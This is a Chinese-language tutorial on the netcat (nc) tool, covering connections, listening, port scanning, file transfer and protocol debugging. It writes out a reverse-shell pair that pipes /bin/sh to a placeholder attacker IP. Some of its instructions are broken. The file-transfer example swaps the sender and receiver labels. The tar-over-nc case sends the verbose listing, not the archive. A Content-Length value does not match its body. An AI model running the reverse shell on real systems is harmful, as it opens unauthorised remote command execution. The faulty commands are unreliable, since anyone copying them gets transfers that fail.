为什么说每个 Linux 用户都该掌握 nc？这 6 个场景告诉你答案！

Linux 命令工具 nc 使用指南

一、工具概述

nc（Netcat） 是 Linux 系统中一款强大的网络工具，被称为 “网络瑞士军刀”。其主要功能包括：

• 建立和监听任意 TCP/UDP 连接
• 端口扫描、网络调试与探测
• 传输文件/数据流
• 作为网络协议调试工具
• 配合其他工具实现简易网络服务

特点：轻量、跨平台（支持 Linux/macOS/Windows）、功能灵活，常用于网络工程师、运维人员和开发者的日常调试工作。

二、安装方式

1. Debian/Ubuntu 系统

sudo apt update
sudo apt install netcat # 或 nc

2. Red Hat/CentOS 系统

sudo yum install nc # 或 nc-tools

3. Arch Linux 系统

sudo pacman -S nc

4. 源码安装（通用）

wget https://nmap.org/ncat/dist/ncat-<版本号>.tar.gz
tar -zxvf ncat-<版本号>.tar.gz
cd ncat-<版本号>
./configure && make && sudo make install

三、核心功能

功能分类	典型场景
基础连接	建立 TCP/UDP 连接，测试网络连通性
端口监听	作为服务端监听指定端口，接收数据
端口扫描	探测目标主机开放的端口
数据传输	跨主机传输文件、流媒体数据
协议调试	手动构造网络请求，调试 HTTP/IMAP 等协议
反向 shell	配合其他工具实现远程命令执行（需谨慎使用，涉及安全风险）

四、基础用法

1. 建立 TCP 连接（客户端）

nc [options] <目标主机> <端口>

• 示例：连接到远程服务器的 80 端口（模拟 HTTP 请求）

  nc example.com 80
  GET / HTTP/1.1
  Host: example.com
  
  # 按 Ctrl+D 发送请求，查看响应
  

2. 监听端口（服务端）

nc -l [options] <端口>

• 选项说明：

  • -l：监听模式（必填）
  • -p <端口>：指定监听端口（部分系统需用 -p，部分直接跟端口）
  • -u：使用 UDP 协议（默认 TCP）

• 示例：监听本地 1234 端口（TCP）

  nc -l 1234
  

  客户端连接后可双向通信。

3. 传输文件（TCP）

服务端（发送方）：

nc -l 1234 > received_file.txt

客户端（接收方）：

nc <服务端IP> 1234 < send_file.txt

4. UDP 测试

nc -u <目标主机> <端口>
# 示例：向 DNS 服务器发送 UDP 请求
nc -u 8.8.8.8 53

五、进阶操作

1. 端口扫描

（1）TCP 端口扫描

nc -zv <目标主机> <端口范围>

• 选项说明：

  • -z：仅扫描端口，不建立连接
  • -v：显示详细输出

• 示例：扫描主机 192.168.1.1 的 80-100 端口

  nc -zv 192.168.1.1 80-100
  

（2）UDP 端口扫描（需 root 权限）

nc -zuv <目标主机> <端口范围>

2. 超时设置

nc -w <秒数> <目标主机> <端口>
# 示例：连接超时时间设为 5 秒
nc -w 5 example.com 80

3. 反向 shell（危险操作，仅用于合法测试）

攻击机（监听方）：

nc -lvnp 4444

目标机（执行命令）：

nc <攻击机IP> 4444 -e /bin/sh # 不同系统可能需调整 shell 路径（如 /bin/bash）

六、实战案例

案例 1：调试 HTTP 接口

1. 监听本地 8080 端口：

   nc -l 8080
   

2. 客户端发送自定义 HTTP 请求：

   nc localhost 8080
   POST /api/login HTTP/1.1
   Content-Type: application/json
   Content-Length: 27
   
   {"user":"test","pass":"123"}
   

3. 服务端查看原始请求数据，辅助定位协议问题。

案例 2：跨主机传输大文件

服务端（接收方）：

nc -l 5000 | tar xzvf -

客户端（发送方）：

tar czvf files.tar.gz /path/to/files | nc <服务端IP> 5000

案例 3：探测防火墙规则

通过扫描不同端口的开放状态，判断防火墙允许的流量类型：

nc -zv 10.0.0.1 22,80,443
# 输出结果可显示哪些端口被允许连接

七、注意事项

1. 安全风险：

   • 反向 shell 功能可能被恶意利用，仅限合法测试环境使用。
   • 监听端口时需注意防火墙设置，避免暴露敏感服务。

2. 权限问题：

   • 扫描 UDP 端口、监听 1024 以下端口需 root 权限。
   • 部分系统（如 macOS）默认安装的 nc 为 nmap 的简化版（ncat），功能可能受限，建议通过包管理器安装完整版本。

3. 协议差异：

   • 不同系统的 nc 实现可能存在选项差异（如 OpenBSD nc 无 -e 选项），建议使用 ncat（nmap 套件中的版本）获得更一致的体验。

4. 替代工具：

   • 若需更复杂的扫描功能，可使用 nmap；
   • 传输文件时，推荐使用更安全的 scp/sftp 或 rsync。

通过合理使用 nc，可以高效完成网络调试、端口探测、数据传输等任务，但需始终注意安全规范，避免滥用。